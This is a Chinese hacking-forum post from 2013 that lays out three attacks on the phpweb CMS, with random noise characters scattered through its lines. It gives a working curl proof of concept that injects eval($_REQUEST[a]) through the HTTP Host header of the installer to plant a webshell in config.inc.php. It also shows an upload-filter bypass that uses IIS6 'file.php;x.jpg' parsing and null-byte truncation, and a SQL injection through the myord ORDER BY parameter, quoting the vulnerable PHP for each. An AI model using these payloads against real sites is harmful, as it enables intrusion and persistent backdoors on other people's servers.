找回密码
 立即注册
查看: 2776|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:2 f- l! ?6 c4 {2 K
) ^6 m- q9 x1 ~% K# Q/ J
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码0 i) ~( ^# z; F$ Q

3 f/ s9 o8 x4 X鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
) T$ I! L. n$ I  d( E鸡肋2: 有一定安全常识的站长都会删掉 install 目录7 A" c5 B/ q& k$ ?: ~+ P4 Z- A
. }. \0 B4 p2 I, W3 Q9 D! i
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
/ h' ?' v/ X$ P7 C1 d4 U1 L* Z$ F- w 5 D7 i; F8 b3 E7 Q; {5 c" v
分析:5 Z9 \/ r) L- F% P9 B# E4 g8 J: N; X
* m) I& f/ l  H) I* I

& \8 K5 w* t; _. o) n. d2 ?$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤0 ?9 Z6 V! b7 k9 S( J$ I$ y8 Y7 i  G
; D$ y- f+ o3 A; X
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);  S5 R2 |6 C, N, K
                                            $filestr=str_replace(" ","",$filestr);0 T. f; \( y- r5 t5 @' P! z
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);$ Q9 y' q, m  E: ], O8 `
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
7 A2 t3 O- ^& ~- T                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
  O" R2 v4 ?* T                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
0 r/ F; B& P. L- l& K                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
7 V" ^4 ~7 {. h( g# f. U4 {                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);7 M4 l# [0 B/ r6 ~( d, X: p
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
8 c/ e# \. G1 I9 @/ X
+ {! g. p' @; K                                            fwrite(fopen($ConFile,"w"),$filestr,30000);3 t3 \4 k" ?9 V( ?
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^9 D0 f! G, [4 C# h1 y  K# ]! ]& L9 V
7 p3 k8 Y5 g' a' |8 {
poc:
- B8 ~8 W4 h2 W3 K0 l
+ c% }3 h; T+ L: @?
) b+ ?2 G6 Q! X: p9 |/ M18 Z8 u/ {0 r# b1 h0 D' n
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"# s/ w& `" \* K& `; \. ?
shell地址: /config.inc.php& Q5 ~2 P7 y/ }
跟之前的 phpcms一样 需要远程数据库
! {! S. z0 `4 Z, w- @ 6 |; n. [5 D* w* H4 U6 i2 }
——————————————————–
( U! \: Z1 M- P4 B4 b. H% ^上传漏洞(需要进后台):9 B" {5 a' q0 o3 \
漏洞文件: /kedit/upload_cgi/upload.php' X& m( @! k% o, x: x
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
2 x( I; G& L5 V- o ' Q& r) R6 x: ^+ O7 g$ e

8 h4 z  L3 s3 F<?php! x9 c7 R$ W: y$ o! o. P
    define("ROOTPATH", "../../");
9 y/ ~+ D! h" f7 j5 B6 \% @" P    include(ROOTPATH."includes/admin.inc.php");
: ?* g" S: x0 s. E/ l! \. ]    NeedAuth(0);
8 w) l2 a# {1 a4 j- U3 H; V" T% {
+ ^1 @' y, q5 ^* n4 `    $dt=date("Ymd",time());
& Z  B3 Y8 J0 c$ \    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
, f* `; G& P6 L. J3 j' k/ u8 ~            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);5 e. n. ?# h. X) W3 r0 a: Z3 U- `
    }
, y) V; I) ^8 W6 A' T! |
, F4 v; g  l! ~1 ^( v5 L    //文件保存目录路径3 z0 k  G+ N; P# R% z( P
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';, l. w9 L; l8 b
    echo $save_path;
7 E+ W$ I0 p% K) d: I    //文件保存目录URL
% n! E# z" p( o) n2 r1 C  ]    $save_url = '../../'.$_POST['attachPath'].$dt.'/';  n: h0 W0 V! }  g

, {; J& l2 V% G  W. F2 X    //定义允许上传的文件扩展名
; a& x/ I% A7 z  A8 G+ k& `    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
& }% F" F2 q* [, x4 O
' u2 f+ |6 v/ c% R, q    //最大文件大小" S" a0 j) z1 @9 o( ?9 v
    $max_size = 1000000;! i) m' D# y: a9 N- V
; X/ g9 ~! I  Z9 ?6 G8 q7 N
    //更改目录权限
: `" X! E* }7 I' p& {    @mkdir($save_path, 0777);
6 `# O+ {: e/ x" i( | ; m4 I- g$ `0 ?) b# ]
    //文件的全部路径
& |  t" o" T# B- h  ?) |# c9 d    $file_path = $save_path.$_POST['fileName'];   //保存文件名& o: u9 K$ f* e0 Q/ l3 J, {
/ c6 \5 X4 x. x1 \
    //文件URL) ~, X- Q6 D3 s* C4 t$ D
    $file_url = $save_url.$_POST['fileName'];: o2 F3 x+ V2 P( E8 L" b4 r
//有上传文件时
7 D7 P6 v+ M+ {) z8 ?' T    if (empty($_FILES) === false) {  ~6 N3 y  @% q
7 m; r4 W$ E  G9 ?1 m% w5 }
            //原文件名- S( q: w& w+ o! v6 x- O! W  o* |
            $file_name = $_FILES['fileData']['name'];$ u: x; E" |! n- J- ~+ t7 ?8 ]+ ^
            //服务器上临时文件名+ f) j& u) G& P7 d+ {
            $tmp_name = $_FILES['fileData']['tmp_name'];7 q, O2 |$ h: I
            //文件大小
* E6 X7 O& S6 O) v# ^" B            $file_size = $_FILES['fileData']['size'];: s) |0 q  M3 Y3 x8 ~$ G9 v
            //检查目录' c) ]/ {. k5 J# I- b" X$ K/ C
            if (@is_dir($save_path) === false) {8 V( S2 @+ N. l. [1 t8 T5 x' `
                    alert("上传目录不存在。");
# n7 E; a6 h# l8 z/ W            }
1 S. [) w+ D1 T5 `& [* i3 Y. H            //检查目录写权限" h% N6 a  e: q+ V$ J( Y
            if (@is_writable($save_path) === false) {
. d7 y# Q" I. p                    alert("上传目录没有写权限。");3 W2 |- }! z0 K; }
            }
6 x5 P# d5 U! E- _            //检查是否已上传& J  E; [/ o1 K
            if (@is_uploaded_file($tmp_name) === false) {
9 M0 W2 r8 ?2 x$ ~1 g                    alert("临时文件可能不是上传文件。");$ e+ ~) D" }6 ]) |# m
            }  _7 c. {. X" Z
            //检查文件大小& G7 E1 W; i% `2 |  W$ t
            if ($file_size > $max_size) {6 n& D+ q' A' D7 ^/ V: Q; J; s8 s
                    alert("上传文件大小超过限制。");
: r# T! T+ @- N8 P) l" j            }0 a) j7 ?: C+ H8 }- _
            //获得文件扩展名5 ?  S6 `5 i, ^- w  a5 d2 f
            $temp_arr = explode(".", $_POST['fileName']);  q$ w; x) K( S& S
            $file_ext = array_pop($temp_arr);
* g+ ]+ {- ~. f0 B: A0 U2 [            $file_ext = trim($file_ext);
/ B3 r5 A4 @6 }6 J1 S9 X1 M            $file_ext = strtolower($file_ext);
  A; S7 f! z8 q
  n% ?4 m& }  {( U            //检查扩展名   
6 n- [# ?3 u1 u/ J5 P/ |) o  x7 u            if (in_array($file_ext, $ext_arr) === false) {     
! f  y9 v, n4 W0 X: g' {                    alert("上传文件扩展名是不允许的扩展名。");8 h( P1 ^  T% m3 A
            }
& k& r/ w5 u+ W6 o% Y3 Q# H $ ^% w0 Z; B* {8 P" m; i" V
            //移动文件   5 I/ }1 A6 h5 m/ E  n. |1 M
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^5 Q" Q- g* b+ r
            if (move_uploaded_file($tmp_name, $file_path) === false) {
. G3 V& v: z+ H" @6 b" b                    alert("上传文件失败。");
' R+ j7 V; u: u6 l' d            }
( \' e" T7 g/ I6 K, l% O, g ! V1 e; N  s0 G# C9 ?2 E
            @chmod($file_path,0666);- W' }9 W  j7 [
8 a$ {; ^2 w( B7 ?% _
    ?>9 r# I. l7 h' d% L
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227! }' L; m& g. g5 Z- p5 d$ w
$ j/ r! A' f" w1 N+ Q- o% r
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
. C! q% ]' A! n0 P3 t2 r4 ^9 U* Z
. N3 v: H. i8 Z  Y. ^& o- M1 f' w——————————————————# r& U. r# I1 b0 ~9 F" g
注入漏洞:
  g6 U1 n$ A9 d: G2 r& {  t漏洞文件:search/module/search.php7 I# A" K) T5 M0 W" m2 N, P
/search/index.php?key=1&myord=1 [sqlinjection]; a, _9 m9 S7 C% L! Y) {! n9 K

1 ?4 X. b5 P6 z: ]
7 d5 |% \. \+ w# {) j<?php# ^3 P3 m1 B" Z
   //       ... 省略 n 行...% R$ t9 I# Y* Y1 P0 P  [
   //第18行:
7 ~5 b( f7 c5 ^2 q9 a5 y3 o6 V1 w           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
' \, v0 x" v9 c: Q1 U) P9 x           $page=htmlspecialchars($_GET["page"]);9 Y! ?% G' f! I1 T3 K* \9 W
           $myord=htmlspecialchars($_GET["myord"]);
/ H. R  D6 O  V4 O/ V 2 G. l0 |( q6 H
   //       ... 省略 n 行...
4 l" I4 [8 s) ^: m   $key,$myord 两个参数带入查询
4 q" y5 i3 K$ @1 k' q2 h   //第47行 $key:
: r4 m' Q) m0 }% B) G/ n8 F* A: `+ P
1 R1 R+ x# H* N   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
7 h" T1 I. S% w2 `& X' Z. x
) J0 w+ S0 J' K+ `* G) y   //第197行 $myord+ g" I% v* t1 X
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入. B6 T* J/ C* \& f: h' f4 p, `

/ m' O- Q: R: z/ |   ?>; \. a0 u) \1 y" d" B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表